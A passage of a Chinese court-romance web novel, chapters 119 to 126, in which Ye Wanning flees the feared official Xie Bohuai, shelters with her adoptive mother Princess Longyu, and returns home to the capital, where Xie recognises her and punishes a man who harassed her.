“成王殿下,请您弄清楚,这里是谢宅,您是要在谢宅里对微臣动刑吗?”司砚抬高音量,打断了成王的话。 他今天,就把狗仗人势贯彻到底,免得这些人一天到晚想着来谢家打听。 成王被谢泊淮怼就算了,还要被一个小官威胁,指着司砚道,“好好好,你会狗仗人势,有本事别踏出谢府。你最好保佑谢泊淮平安归来,不然你们几个……哼,走着瞧!” “慢走,不送。” 司砚对着成王的背影白了一眼,和折竹抱怨,“真是累死我了,你说咱们大人,什么时候能收敛点,别弄得全天下人都想他死。你知道么,我现在出门去,都要用银针试菜,就怕别人弄不死他,先把我弄死!” 折竹抿唇笑了,“这话等大人回来,你亲自和他说?” “不了不了,没那个必要,我和你吐槽两句就行。”司砚敛去笑容,正经起来,“我听成王那个意思,咱们大人是遇到危险了。这几天我会进宫看着,府里就要靠你了。青山脑袋不好用,但功夫是不错的,他应该能护着主子周全。” 这一点,折竹也相信青山。 实际上,青山不仅没跟着谢泊淮,还把春喜弄丢了。 春喜以为主子说叶家是瞎掰的,那肯定不能去叶家啊,所以进城之前和青山说要如厕,然后半路跑了。 她一路打听隆玉公主的别苑而去,再有半天脚程就会到,需要先在附近镇子住一晚。 结果她遇到了主子,那叫一个激动啊。 叶婉宁也看到了春喜,只是不敢表露出来,在谢泊淮要房间时,她要了两间,“男女有别,大人还未婚,我不好影响了大人的名声。” 谢泊淮正要说无妨,叶婉宁又道,“大人要是不放心,可以在我手上系一个铃铛,以大人耳朵的敏锐,只要我一动,您不就能知道吗?而且我是女子,我以后说不定要再嫁呢。您也不想被人说,趁人之危吧?” 看着叶婉宁这张坑坑洼洼的脸,谢泊淮过了会才道,“行。” “您就放心吧,我现在怕得很,没有您护着,我不敢一个人去京城的。”叶婉宁表忠心道。 但到了后半夜,她就用棉花堵住铃铛,然后解开红绳,绑在了床头上。 而春喜默契地等在客栈外,还准备了一匹马,两个人头也不回地跑了。 等天刚亮,谢泊淮拉了拉红绳,却拉不动一点时,才意识到情况不对劲。 等他发现叶婉宁房间空了,跑去问店小二,店小二说没看到人,而他把整个镇子都找了一遍,确认自己被耍了后,眼神冷冽如刀,“骗子!” 第119章 跑十圈 店小二吓得腿都在抖,昨儿个谢大人带来的那个人戴着斗篷,他看不清脸,但知道是一位姑娘。 这是被姑娘伤了心? 骗子? 店小二的心思转了又转,谢泊淮不动,他也不敢动,直到谢泊淮转身看过来,他感觉呼吸都要停了。 “附近有没有卖马的?” “有有有,就在东边的马房里,不过我们这里卖的马很一般,大人您是要……”没等店小二问完,谢泊淮就走了。 谢泊淮到了卖马的那里,结果说没马了,最后一匹马昨天被一个姑娘买走了。 “带着斗篷的?是她吗?”谢泊淮追问。 “不是的大人,是一个面容清秀的姑娘,看着很年轻。” 面容清秀? 谢泊淮想到了春喜,大致形容后,发现还真可能是春喜。 可春喜不是让青山带到城里去了吗? 就在谢泊淮这么想的时候,青山一路打听找了过来,瞧见青山是一个人,谢泊淮便明白了“骗子,都是骗子!” 再去看青山时,只觉得青山是个榆木脑袋,连个小丫鬟都看不住。 “大人,那姑娘忒坏了,骗我要去如厕,我等了她好一会儿都没等到她。结果她骑了我的马就跑了,而且她还懂得半路丢下那马,不然跟着马,我怎能把她找出来!”青山越说越气,还没被人这样耍过,“我真是太笨了,您是不是带着她主子,人呢?” “丢了。”谢泊淮咬牙道。 “什么?您也把人弄丢了?不应该啊,您比我聪明多了啊。”青山看主子往外走,赶忙跟了出去,“您怎么把人丢了的?” 他好奇想问个经过,结果主子脸色阴沉,吓得他愣住。 谢泊淮没想到,他会有一天干了和青山一样蠢笨的事。 昨儿他就不该让叶氏自己住,什么名声?人家根本不在乎,为的是逃跑。 那之前说的叶家,八成也是骗人的。 要不是看在叶家旁亲的份上,他才不会带着叶氏一路到这里,早就把人丢在深山老林里喂狼。 从一开始,他就觉得叶氏不对劲。 寻常的妇人杀人都怕死了,叶氏却还能淡定地提防他,巧舌如簧,让他抓到了,一定要先割了她的舌头! 他就不信了,只要这人还在京城附近,他就一定有办法把人找到。 这天底下,没有镇府司办不到的事。 谢泊淮找商队强买了马,一路疾驰回京城。 原本想看他死的人,听说他回到京城,都很失望。 特别是那几位王爷,只要确认谢泊淮死了,他们就能进宫去。结果谢泊淮平安回来,一个个都很失望。 不过也有希望谢泊淮回来的,司砚看到主子是谢天谢地,“您可算是回来了,再不回来,咱们谢府都要被人端了。” “这不是没有吗?”谢泊淮面色阴沉地回了房间。 司砚看出不对劲,把青山拉到一旁问怎么回事。 青山说了大概经过,“真是奇了怪了,怎么就那么多人来刺杀,这次他们还用毒,我差点就见不到你们了。呜呜司砚,我想死你了。” 他说着想抱司砚,却被司砚拒绝了。 司砚得知主子被人骗了,这下来了兴趣,“什么人那么厉害,能耍了主子?” “就是个很丑很丑的丑八怪,我都以为主子会丢下她,结果主子好心好意把人带着,却被人骗了,你是没看见,那天主子的脸色才叫可怕,我……” “青山,你去跑十圈。” 屋内传来谢泊淮的声音,青山刚“啊”了一声,就变成十五圈,立马捂着嘴去了。 司砚看了眼门的方向,识趣地没有进去,准备离开时,主子把他叫了进去。 谢泊淮沉着脸,“既然青山都说了,你去查一查,这两个人跑哪里去了,京城说大也不大,掘地三尺也要把人找出来!” “明白,我明白,这就派人去找。”司砚走到门口时,听主子冷哼了一声,他不由心想,这人胆子太大了,竟然敢骗他主子。 而骗了谢泊淮的叶婉宁主仆,这会已经到了隆玉公主的别苑,时隔多年没有见面,拿出玉佩让人去通传那一刻,叶婉宁的心都快跳出来。 第120章 打算 门房拿着玉佩去通传,叶婉宁和春喜则是待在角门里喝茶,走了一路,又累又饿,什么都没有吃。 春喜没吃过那么好吃的点心,吃了一块又一块,“夫人,这里是什么地方啊,真是气派,连角门里都那么大,还烧着炭火炉子。” “这里是公主别苑。”叶婉宁吃了两块点心,心里想着相见的事,心中紧张得很,“待会你跟着我进去,不用害怕,我行礼,你也行礼就是。” 听到是公主别苑,春喜眼睛瞪大了,差点被噎住,“竟然是公主别苑,您怎么认识那么气派的人?” 到现在,春喜都不知道叶婉宁真实身份,想过主子可能不一般,但是没想到能认识公主这样的人物。 “因为她是我的义母。”到了这会,叶婉宁没什么好瞒着,“当年我出了意外,本来不想回来,现在是迫不得已才要回来。带累你跟着我一路小心翼翼,春喜,你带着你弟弟回老家吧,往后我身边只会更危险,指不定什么时候就没了命。我会给你准备钱财,趁着别人不知道你是我的人,带着你弟弟回去安居乐业。” 她不想连累了春喜姐弟,能有过一段缘分就够了,往后的日子,有她和云芝就行。 听到主子让自己回去,春喜刷地掉了眼泪,“夫人,我不回去,我们已经没家了。爹娘叔伯都死了,现在回去,我一个姑娘家,也守不住您给的产业。您救了我们,我们应该报答您。” 春喜觉得自己不应该走,主子有难,她更应该跟着才是。就算是豁出自己的性命也没事,如果没有主子,她早就死了。 看春喜态度坚决,叶婉宁叹了口气,打算之后再说。 听有人来了,叶婉宁让春喜擦了眼泪,“待会可不能哭,也不知道云芝如何了。” 她想着云芝和乐哥儿,心中绷着一根弦,整个人都是紧绷绷的。 春喜也担忧这个,方才不敢问门房,这会得知公主是主子的义母,她着急地想知道。 这时进来了一位老嬷嬷,春喜还没反应过来,对方先哭出声来。 “我的好姑娘,您……您怎么成这样了?”江嬷嬷看着叶婉宁的脸,要不是那块玉佩,她都认不出这是叶婉宁。 叶婉宁说没事,“这是为了掩人耳目涂的毒粉,只要吃药修养一段日子就能好。” “真能好吗?”江嬷嬷心疼地看着叶婉宁,三年多没见,再见面却是这幅场景,她得眼泪止不住地流,听叶婉宁问到云芝和乐哥儿,她才想到带叶婉宁去见殿下,“他们都好着呢,您快跟老奴来,殿下等着您呢。若是殿下看到您的样子,一定会心疼坏了。” 叶婉宁苦涩地笑着,“这也是没办法的事。” 这处别苑的地,还是当初叶婉宁卖给隆玉公主的,“义母这几年,身体怎么样?” “哎,不如以前了。”江嬷嬷叹了口气,“没有你们陪伴在身边,殿下跟熬灯似的,数着日子一天又一天。还是乐哥儿来了,她脸上才多一些笑容。我们都以为,再也见不到您,没想到还有重逢的一天,也不知道是好事还是坏事。” “事已至此,咱们只能往好处想了。”叶婉宁跟着江嬷嬷进了大殿,看到鬓角白了的隆玉公主,颤颤跪下,“女儿不孝,给义母请安了。” 她含着眼泪磕头,江嬷嬷把她扶了起来。 隆玉公主看到叶婉宁的样子,同样皱紧眉头,“你……你这是怎么了?” 叶婉宁说能好,隆玉公主才慢慢松开眉头,她坐在凳子上,抬手擦了眼泪,“江嬷嬷说您不疼惜自己身子,这是怎么回事?” “你别听她瞎说,人年纪大了就那样,哪能越活越精神?”隆玉公主拉着叶婉宁的手,怜爱地道,“倒是你,吃了不少苦头。你这是投头无路了,才会回来,不然哪能有相见的时候。” 两人哭了好一会儿,云芝带着乐哥儿来了。 乐哥儿看到母亲,人才有了活气,哭着跑过来,“母亲,您可算是来了!” 小人儿瘦了许多,窝在母亲怀里大哭,说路上好可怕,哭到抽气。 云芝也在哭,她没见到主子前,吃不好,谁也不好,梦里都是主子被人追杀。现在看到主子平安到京城,才敢松一口气。 叶婉宁抱着儿子,心疼得发紧,“你是不是没好好吃饭?” 乐哥儿趴在母亲怀里,小声地抽泣,“我……我想您。” “我也想你。”叶婉宁替儿子擦了眼泪,两人抱了好一会儿,乐哥儿才累睡着了。 叶婉宁让春喜抱着乐哥儿下去,江嬷嬷跟着去安排住处。 隆玉公主这才问叶婉宁,“既然回来了,你往后是什么打算?还有乐哥儿,你要怎么安排?” 第121章 要人 “虽然叛王已死,但天下用不了多久就会乱起来,跑哪里去都不安全。倒不如留在京城,在叶家的庇佑下过日子。” 叶婉宁说到家人,也很想念,“乐哥儿,就按照您给我安排的,是嫁人后生的。当初被人救了起来,身子一直不好,不得机会回来。直到前些日子,我被迫搬家,一路逃亡而来。如今带了个孩子,只想借住娘家。” 隆玉公主想了想,“这样也说得过去,就是经不住深挖。” “应该没人会深挖吧?”叶婉宁道,“我就是一个普通人家的姑娘,谁会深挖?” 隆玉公主想到了谢泊淮,不由皱起眉头,看着叶婉宁叹气,“但也没其他说法了,只有这样,才能保全你的名声。” 她在思索,要不要说谢泊淮的事,又或者,怎么说? 隆玉公主试探地问,“这几年,你就没遇到心仪的人吗?” 叶婉宁摇摇头,“其实我心中,早就没了情情爱爱的想法。不过是想好好活着,让自己舒服快活,情爱这东西太虚无缥缈,可能当下是真心实意,但真心会变,我接受不了这种变化,故而在心中设下一道屏障,也就没人能住进来。” 和义母说话,叶婉宁不需要收着,都是她的心里话。 “我懂你的感受,是周钰伤你太深了。”听完叶婉宁的心里话,隆玉公主觉得没必要让叶婉宁搅和进谢泊淮的深水中,“我看你这个样子,是真心疼。在外边这些年,无人庇佑,想来吃了不少苦头。” “以前的事都过去了,我们都要往前看。”叶婉宁擦去眼角的泪水,“不知叶家这些年怎么样了?” “你大哥哥升了四品官,算是混出一点样来。你二哥哥的生意做得不错,但他懂得低调,很多产业都是参股,挂在别人名下,这样不惹人注目。”这一点,隆玉公主觉得叶明岳很聪明,没有权势就守不住家业,太过于高调,就会被人盯上,到时候可能家破人亡。 听到两位哥哥都有了长进,叶婉宁不由欣慰,“那我妹妹们呢?” “你二妹妹与金自观好像还不错,三妹妹在叶家园子里修行,应该是更好的。还有你最小的弟弟,也在读书,想来你都快忘记他了。”对于叶家人的动向,隆玉公主只打听个大概,再多的她没那个精力了。 自从儿子当上乌苏新王,隆玉公主便不问世事,躲到别苑来,免得那些人的野心波及到她。 听到家中亲人都还好,叶婉宁彻底松了口气,“我这次回去,肯定会吓到他们。” “那是肯定的,但看到你还活着,他们会更高兴。每一年,都是全部人去祭奠。”说完叶家人的事,隆玉公主又说到了乐哥儿,“我看乐哥儿,你不如放我这里教养。还和以前一样,你也可以与我同住,远离京城,反而少一些是非。” 隆玉公主想的是,有她在,那些人不敢太放肆。不然以叶家的能力,怕是护不住叶婉宁母子。 叶婉宁感动道,“多谢义母替我着想,我也是这样想的,叶家毕竟处在京城,难免要和人打交道。” “是的。”隆玉公主看叶婉宁很疲倦,让她先去休息,明天再接着聊。 叶婉宁难得好好睡了一觉,第二天精神好多了,她带着乐哥儿去给隆玉公主请安,结果她刚到,就有宫女来传话,说谢泊淮来了。 “他来做什么?”隆玉公主不解。 “谢大人说,来找一个人。”宫女道。 隆玉公主没听明白,而这时,谢泊淮已经闯到了院子里,叶婉宁赶紧躲到屏风后。 看直接进来的谢泊淮,隆玉公主放下脸来,“谢泊淮,本宫好歹是公主,你这样闯进来,是不是太不合规矩了?” “下官急着找一个人,就不拘泥那些小事了。前些日子,下官抓到一位细作,有人说她进了您的别苑。不知殿下有没有见过一位,满脸长了脓疮的妇人?”谢泊淮看着隆玉公主。 隆玉公主心头一紧,没想到谢泊淮能找到她这里来,“谢泊淮,你都说是你抓到的细作,有什么人能从你手里逃走,你该不会是故意刁难本宫吧?” 确实,这些年谢泊淮抓到的人,就没有能逃走的。 被隆玉公主这么一问,谢泊淮瞬间黑了脸。 想到自己被骗了,青山也被骗,叶氏主仆就是两个骗子,他就蹭蹭来火气。 他咬牙道,“下官也有失手的时候,让人给跑了。此事关系重大,还请您别窝藏罪犯!” 第122章 脸好了 隆玉公主当即笑了出来,“真是有意思,这天底下还有能从你谢泊淮手里逃走的细作。本宫还真想见识下,到底是什么样的人?” 屏风后的叶婉宁紧张地冒汗,一只手捂住儿子的嘴,就怕小孩儿发出响声。 镇府司果然有些本事,竟然能查到她进了义母的别苑。 现在怎么办呢? 叶婉宁一颗心提了起来。 谢泊淮已经没了面子,干脆道,“这人奸诈得很,是我大意了。” 想到谢泊淮说的人是叶婉宁,隆玉公主觉得更有意思了,可惜谢泊淮不会知道,不然以后真是啪啪打脸。 “很可惜,本宫这里没有细作,不过是两个投宿的路人,本宫已经让人走了。”隆玉公主敛去笑意,眯着眼睛去看谢泊淮,“还是说,你不信本宫呢?” 这几年,隆玉公主不问朝政,谢泊淮是看在眼里的。这样的一个人,会和叶氏有关系吗? 从叶氏逃跑后,对于叶氏说的一切,谢泊淮都不相信了。 什么家破人亡,被迫到京城投亲,全都是假话! 要是让他抓到叶氏这个骗子,一定让她知道镇府司的厉害! “敢问殿下,人去了哪里?”谢泊淮问。 “这本宫怎么知道?她们又不是本宫的人,你这样问,显得你太冒昧了。谢泊淮,本宫已经不关心你们的那些事了,你没事就回去吧,本宫身子不好,没工夫和你瞎折腾。”隆玉公主顿了顿,嘲讽地说了句,“难得有人戏弄了你,本宫真应该把人留下来,让她好好说说经过。不如你与本宫说说?” 谢泊淮看着隆玉公主,思考对方有没有撒谎,奈何隆玉公主是一只老狐狸,让他看不出问题。 至于叶氏有没有离开,这一点无从考证,只能暂且做吧。 看谢泊淮离开,叶婉宁才松一口气。 乐哥儿不解地看着母亲,“母亲,我们为何要躲起来?” “因为我们不知道对方是好人,还是坏人。你也知道,有坏人在追我们。”叶婉宁想了个说法,摸了摸儿子的脸,等宫女来找她,才带着儿子走出屏风。 隆玉公主招呼着叶婉宁母子用饭,“这个谢泊淮,怕是头一回被人耍,才会气鼓鼓地跑到本宫这里要人。这几年他得罪了太多人,性情更加暴戾,京城的人都怕他。” 说完,隆玉公主特意看了眼乐哥儿,小孩儿还没长开,但眉眼已经有点像谢泊淮。要是等乐哥儿长大,有些秘密,不知道能不能一直瞒下去。 叶婉宁想了想,和谢泊淮重逢后的那几天,这人确实脾气臭了很多。 “义母,他不会追着您查吧?”叶婉宁担心这个。 “随便他,要查就查,他镇府司再厉害,手也伸不到本宫的别苑来。”隆玉公主拉着叶婉宁的手,“婉宁你安心在这里住着,等你的脸养好了,本宫带你回京城。” 叶婉宁的脸,还需要养半个月,算算日子,差不多到过年了。 她摸了摸自己的脸,还好有药粉替她遮掩容貌,不然这一路,太危险了。 看乐哥儿不如以往活泼,叶婉宁长长叹了一口气,往后她得拿出十二分精神来活着。 在别苑不用担惊受怕,故而日子很快,转眼间半个多月过去,叶婉宁的脸好得差不多了。 第123章 回叶家 “乐哥儿,你跑慢一点!”云芝在后边追着,在别苑待了一段时间,乐哥儿又恢复了以前的活泼。她伸手逮住笑呵呵地乐哥儿,把小孩儿抱了起来,“夫人喊您呢。” 乐哥儿还在笑,“母亲找我做什么呀?” “夫人教你的话,还记得不?”云芝他们住在别苑的小院子里,为了避免乐哥儿提到隆玉公主,这几天都不带他过去。 “我们是借住在好心人家里,母亲中了毒,所以不能立马回京城,我都记得哒!”乐哥儿说着,还冲着云芝眨眼睛,“云芝姨姨,我聪明不?” “聪明,你最聪明。”云芝抱着乐哥儿往屋里走。 他们住的小院僻静,一般人来不了,每天都是特定的人来送饭菜,就怕被更多人看到,引起不必要的麻烦。 屋内叶婉宁带着春喜收拾行囊,“差不多就这些,新衣裳这些都不用带,只带我们最初穿的,这样才不会引起怀疑。” 说着,她往外看了一眼,“殿下已经把你弟弟安排进军营了,与其让他跟着我们进后宅,倒不如让他去历练一下。不过你们真的确定,让他进军营吗?” 现在正是混乱的时候,指不定什么时候就打战,如果真的打起来,立功是容易,但也可能丢了性命。 原本叶婉宁是想让春喜弟弟去读书,但春喜弟弟自己要去军营。 “我劝过他,但是他自己要去军营,说乱世得靠拳头才能建功立业。”春喜没说的是,弟弟心里攥着仇恨才选择军营。 “现在后悔还来得及。” “不用了,既然他决定了,就让他在军营里混吧。”春喜道,“往后就让我跟着您,若是他有出息了,正好可以报答您的恩情。” 叶婉宁没想报答这一回事,说到这里,看到云芝抱着乐哥儿回来,她温声让儿子转述这些日子他教的话。 “刚刚云芝姨姨就让我说啦。”乐哥儿年纪虽小,但最近发生的事太多,让他变得敏感了,“母亲,我们是不是又要搬家了?” “是啊,母亲要带你去见我的家人,他们都是很好的人。”叶婉宁摸摸儿子的小脸。 “他们都会对我们好吗?”乐哥儿好奇地看着母亲。 “那是肯定的,你去和云芝换身衣裳,我们待会就要出门了。”叶婉宁看着儿子走后,带着春喜去给义母告别。 结果她刚走出门,就看到义母带着江嬷嬷来了。 隆玉公主没带其他人,只带了江嬷嬷一个,她拉住叶婉宁的手,“此次去京城,怕是会有诸多的事,你一定要小心再小心。在叶家安定下来后,就派人来和本宫传个话,知道了吗?” 她是真的舍不得叶婉宁,但又没办法,她不可能护着叶婉宁一辈子,叶婉宁需要恢复自己的身份。 叶婉宁也不舍,“您也是,要好好保重身体,我还得倚仗您呢。” 隆玉公主眼含热泪,抱住了叶婉宁,“好姑娘,切记有事来找本宫。时辰差不多了,走吧,冬天路滑,再不走天黑都到不了。” 叶婉宁点点头,“嗯,我们是该出发了。” 和隆玉公主道别后,叶婉宁带着云芝他们出发了,为了避免被人怀疑,他们由马车送到别的地方,再步行进京城。 快到傍晚时,叶婉宁才到城门口,望着许久没回来的京城,心中感概万千。 “夫人,快到我们了。”云芝小声提醒。 很快就到叶婉宁他们时,守城的士兵让叶婉宁摘下斗篷,叶婉宁刚抬起手,就看到城门里骑马而过的谢泊淮。 第124章 人死能复生? 叶婉宁愣住时,守城士兵掀开她的斗篷,本想呵斥一番,看着叶婉宁惊人的容貌,一时间叫人挪不开眼,过了会,语气温和了许多,“夫人可是耳力不佳?” “回军爷,是有一些,给您添麻烦了。我的路引没有问题吧?”叶婉宁晋江低着头,并不想在这会和谢泊淮相认。 只是她这容貌太突出了一点,不仅守城的士兵一直看着,其他人也看了过来,纷纷惊叹叶婉宁的容貌,还有人问她是哪家的娘子。 叶婉宁匆匆戴上斗篷,边上的春喜接了路引,在一旁替主子遮挡着。 他们过了城门,瞧着不远处停下的谢泊淮,叶婉宁正准备绕开,却被一个男人拦了下来。 她不认识对方,对方也不曾见过她,笑容猥琐地想去掀叶婉宁的斗篷。 “夫人生得好容貌,你这是要去哪里,不如让我送你去?”裴许的手被拍开,也没生气,他看叶婉宁一行的穿着普通,不像是富贵人家的娘子,这才过来搭话。 叶婉宁眉心轻拧,“我是谁家的,与你并没有关系。这里可是天子脚下,这位爷该不会想我去报官吧?” “报官?哈哈,你大可以去试试,看看我会不会怕。”裴许越说,越想一亲芳泽,“你可以去打听下我裴许的名声,你觉得我会怕吗?” 叶婉宁没听过裴许这个名字,更不知道他是什么人,只知道谢泊淮就在附近,再不回叶府,时辰就要被耽搁了。 这会已经是傍晚,天黑后更不安全,叶婉宁怒斥道,“我不管你是什么人,就算你是王亲贵胄,那也得遵守律法。我再说一次,让你的人让开。” “真是有个性的小娘子,看来你是第一次来京城啊,如果我偏不,你能拿我怎么样?”裴许笑呵呵地往前凑,结果被叶婉宁打了一拳头,顿时流了鼻血。 而这时,围观的人小声议论,说裴许是成王侧妃的哥哥,那侧妃很得成王宠爱,他们说叶婉宁真是胆大,竟然敢得罪成王。 叶婉宁听了一耳朵,拉着云芝他们就要走,裴许的人却不让了。 叶婉宁只好求救守城的士兵,只是那些士兵为难了起来,成王势大,一般人真不敢得罪成王府。 看求救无果,叶婉宁准备亮出身份,“你知道我是谁吗?” “我管你是谁,你今天打了老子,老子就要你给老子陪睡!”裴许鼻子疼得厉害,哎哟地叫着,“你们还看着干什么,把她们绑起来带回去!” 乐哥儿被吓到“哇哇”大哭,也正是他的哭声吸引力谢泊淮,他朝着这边看过来,注意到戴斗篷的人影十分熟悉,特别是,他看到了春喜! 骗子! 是那两个骗子! 谢泊淮当即骑马过来,对方飞快地扫了他一眼,就转头躲开,越发觉得是他要找的人,“好啊你,竟然送上门来。我有没有说过,不要骗我,不然我会让你后悔的!” 谢泊淮跳下马背,朝着叶婉宁走过去,这时裴许还想着叶婉宁的美色,过来道,“谢大人,您认识她们吗?” “是你熟人?”谢泊淮问。 裴许说是,“是我逃跑的妾室,您贵人事忙,这点小事还是不麻烦您了,我自己处理就好。” 春喜想辩解,却不敢抬头,云芝同样也是。 只有乐哥儿大声道,“我们不认识你,你是坏人!” “你这孩子,瞎说什么呢。”裴许从没见过比叶婉宁更漂亮的人,这会根本没想到色字头上一把刀,他呵斥乐哥儿道,“你这孩子瞎说什么呢,快点闭嘴,不然有你好看!” “好啊,原来你认识这个骗子。”谢泊淮眯着眼睛,在他说出骗子两个字时,看到裴许很明显地抖了下。 裴许:“骗子?” “是啊。”谢泊淮拉住叶婉宁的斗篷,想拽下来,却听到焦急的一句“谢大人”,这个声音,这个语气,谢泊淮愣住了。 不是骗子的声音。 而是他这些年,梦中久久忘不掉的声音。 到了这会,叶婉宁也不好再隐瞒了,毕竟天快黑了,想着谢泊淮和她二哥的关系,只能利用下谢泊淮,她压着嗓子道,“谢大人,我与这个登徒子真的没有关系,您应该是知道的。” 说完,叶婉宁徐徐转身,在她抬头去看谢泊淮时,在谢泊淮的瞳孔中看到了震惊,还有一些她看不出来的情绪。 谢泊淮呆愣住,边上的青山也愣住。 人能死而复生? 青山抬头看了眼天空,明明天还没黑,他怎么见到了鬼魂? 还有云芝,她不是也死了吗? 当年只找到叶婉宁的尸首,所有人都以为云芝也出了意外,可是现在,叶婉宁和云芝就在眼前。 青山感觉后背出了冷汗,加上叶婉宁边上的春喜,一时间他糊涂了,到底是怎么回事? “你……你们是?”青山已经说不出完整的句子,谢泊淮还没回过神来。 倒是裴许看看叶婉宁,又去看谢泊淮,他心想谢泊淮是不是看上叶婉宁了? 这可不行。 这是他先看上的美人! 裴许挤到两人中间,特意挡住叶婉宁,“谢大人,您这样盯着人看,于礼不合吧?” 裴许的话把谢泊淮拉回现实,他确认不是做梦后,尽管心中已经是惊涛骇浪,这会还是去看裴许,“刚刚你说什么?她是你的小妾?” “对啊大人,她不懂事偷跑出来,我正要带她回去呢。这贱人矫情得很,仗着自己长得美貌,就……哎哟,您……” 没等裴许说完,谢泊淮一拳打了过去,紧接着又是一拳头打掉了裴许的门牙。 谢泊淮像是在看死人一样,见裴许的小厮想动手,抬手示意青山,“一个不留,全部解决了。” 他拔出佩剑,直接砍下裴许的右手,只听一声惨叫,裴许晕死了过去。 方才他看到,裴许的手碰了叶婉宁的斗篷。 心中的疑问暂且没有得到解答,但裴许这个人,已经是死人了,谢泊淮对着赶来的镇府司其他人道,“把他们带到镇府司审问,我倒要看看,成王愿不愿意来救他!” 第125章 归家了 狠厉,残暴,在这一刻都具象化了。 四周的人都吓傻了眼,没一个人敢上前。 叶婉宁也没想到谢泊淮会砍了裴许的手,他眉目冰冷,像个会吃人的罗刹。 她后退了半步,却看到谢泊淮转身看了过来。 天边残阳如血,光晕落在叶婉宁的脸上,虽是久别重逢,两人的心境却完全不同。 叶婉宁是害怕,担忧。 谢泊淮则是不敢置信。 他再一次地去想,人死了真能复生吗? “叶大姑娘?”迟疑地唤了一句,谢泊淮的眼眶渐渐蓄了泪光,晶莹点点,像是黑夜里的繁星突然都被点亮。 叶婉宁和谢泊淮行了个礼,这里不是说话的地方,她飞快道,“多谢大人出手相助,时候不早,我……” “你真是叶婉宁?”谢泊淮突然逼近,让叶婉宁话音顿住。 到了这会,叶婉宁只能说是,她左右看了看,为难道,“谢大人,求您高抬贵手,之前我不是故意要瞒着您,实在是不好告知。天快黑了,我还得回家去。” “好。”谢泊淮只说了一个字,就让开了路。 他没有去送叶婉宁,而是转身去看其他人,眸光冷冷,谁都不敢和他对视。 这几年,他得罪的人太多了,从没想过还会有失而复得的这天。 欣喜吗? 不。 更多的是后悔,他怎么会认错了人? 原来叶婉宁没死。 一声嗤笑过后,谢泊淮自嘲地摇了摇头,看着叶婉宁的背影,握紧手中的佩剑。 这一次,谁也别想伤她分毫。 谢泊淮长长地深吸一口气,让青山悄悄护送去叶家,他则是回了镇府司。 大牢里,裴许被止住血,但睁眼就是火红的烙铁,又吓晕了过去。 折竹过来道,“大人,成王来了。” “那就请他进来吧。”谢泊淮波澜不惊地说完,用水泼醒了裴许。 成王进来时,便听到裴许的哭求,“谢泊淮,你这是什么意思?” “王爷来得正好,这人自称是您的大舅子,占着您的名头,在外为非作歹,不知您有没有兽医呢?”谢泊淮说这话时,面带微笑。 侧妃的娘家人,算不上正经亲戚,真论起来,谢泊淮才是成王的姻亲,毕竟谢家长房嫡女才是成王妃。 而成王和谢泊淮交手多次,这还是第一次看谢泊淮威胁人时是笑着的,不由起了一身的鸡皮疙瘩。 “你……你到底要做什么?”成王不解地看着谢泊淮。 “我说了,裴许欺男霸女,横行霸道,还强占他人良田,依照我朝律法,他该处死。王爷您气势汹汹地过来,是要救人,还是要抢人?”谢泊淮比成王要高一些,却挺直腰板。 这几年,谢泊淮除了在皇上跟前弯过腰,其他人还没这个待遇。 他是一手遮天的权臣,就算是皇子皇孙,也得看他脸色。 而且这里是镇府司的天牢,成王不可能把人抢走。 但成王最近很宠裴侧妃,而裴许是裴侧妃唯一的哥哥,若是裴许交代在这里,成王怕有孕的裴侧妃会出意外,这才匆匆赶来。 面对谢泊淮,成王不得不放柔语气,“谢大人,裴许不过是犯了点小事,既然你已经惩罚了他,不如少一件事。看在我的面子上,放了他吧?” “我为何要看在您的面子上呢?您的面子很重要吗?”谢泊淮笑了,“我是天子近臣,只需要听从皇上的旨意。您真想命令我,那就等您身居高位,让我不得不下跪吧。至于裴许,您是带不走的,他注定要死!” 最后一个“死”字,谢泊淮格外用力,说完这些,他让折竹送客。 成王气得快炸了,却又奈何不了谢泊淮,毕竟谢泊淮捏着裴许的证据,要是查到他头上,又是诸多麻烦。 而裴许则是抓着救命稻草一样喊道,“王爷,您快救救我,谢泊淮就是个疯子,他要杀了我!您一定有救救我,不然我会死的!” 成王看向裴许,也是裴许傻,惹谁不好,非要去惹谢泊淮。 最后看一眼裴许,成王只能无奈离开。 出了镇府司,成王才问今天怎么回事。 “说是裴公子调戏了一位妇人,才被谢泊淮砍了手。”小厮道。 “谢泊淮什么时候爱管闲事了?”成王不明白。 “小的也不清楚,不过那妇人往叶家去了,可能和叶家有关系。您也知道,谢泊淮对叶家死了的大姑娘念念不忘,裴公子的运气实在是不好。” “叶家?”成王都快忘了这一家人,想到谢泊淮当年做的疯事,他哼了一声,“我动不了他谢泊淮,还奈何不了叶家吗?” 成王愤愤离开,与此同时,叶婉宁已经到了叶家的大门。 历经千辛万苦,她总算是回来了。 乐哥儿已经困了,在云芝怀里睡着了。 门房看到门口站了三个人,穿着还非常普通,过来打发道,“几位是要找谁吗?如果不是,还请你们离开,莫要站在这里。” 听到熟悉的声音,叶婉宁眼含热泪,她摘下了斗篷,“是我。” 门房看傻了眼,吓得坐在地上,这会天刚黑,他以为见到了鬼,都说不出话来。 直到云芝开了口,“是我和姑娘回来了,你快去通传一声,就说大姑娘没死,回来了。” 门房狠狠甩了自己一耳光,见不是做梦,赶忙爬起来,“您……您真没死?” “你看我的样子,像是鬼魂吗?”叶婉宁哭笑不得,虽然料到他们会是这个表情,但连一个门房都这么震惊,更别说是家中的其他人。 “大……大姑娘?”门房愣了好一会儿,才跑着进去喊道,“大姑娘没死,她回来了!” 他这一嗓子,一路上的人听到都瞪大眼睛,怎么可能没死,这人疯了不成? 直到他们看到叶婉宁带着云芝进来,一个个都傻愣住,谁都不敢喘气,以为见了鬼。 更有胆小的,直接晕死过去。 叶婉宁看得头疼,这会只能先忍着,等见到祖母他们再说了。 从正门到祖母院子的这一路,叶婉宁走得心情沉重,她没想过还会有回来的这一天,不知祖母他们会是什么表情,不要吓到他们才好。 不过还没到祖母的院子,她二哥先跑了出来,愣愣地看着她,“你……你真的是……婉宁?” 第126章 故人重逢 故人重逢,叶婉宁早已热泪盈眶,她看着二哥,泣不成声。 “我……我是婉宁。”叶婉宁看着踉跄过来的二哥,此时此刻,她连呼吸都是小心翼翼,“我回来了。” 叶明岳的眼泪夺眶而出,他冲到了妹妹跟前,“你没死?没死为什么不回来啊?” 他不解地抓着妹妹的胳膊,用力了都不知道,还是姜姒跑来拉开他,“你弄疼婉宁了。婉宁,真的是婉宁!太好了,你没死!” 他们都非常震惊,心中有许多的疑问想要答案,两个人看着叶婉宁,一时半不会,不知道从哪里问起来。 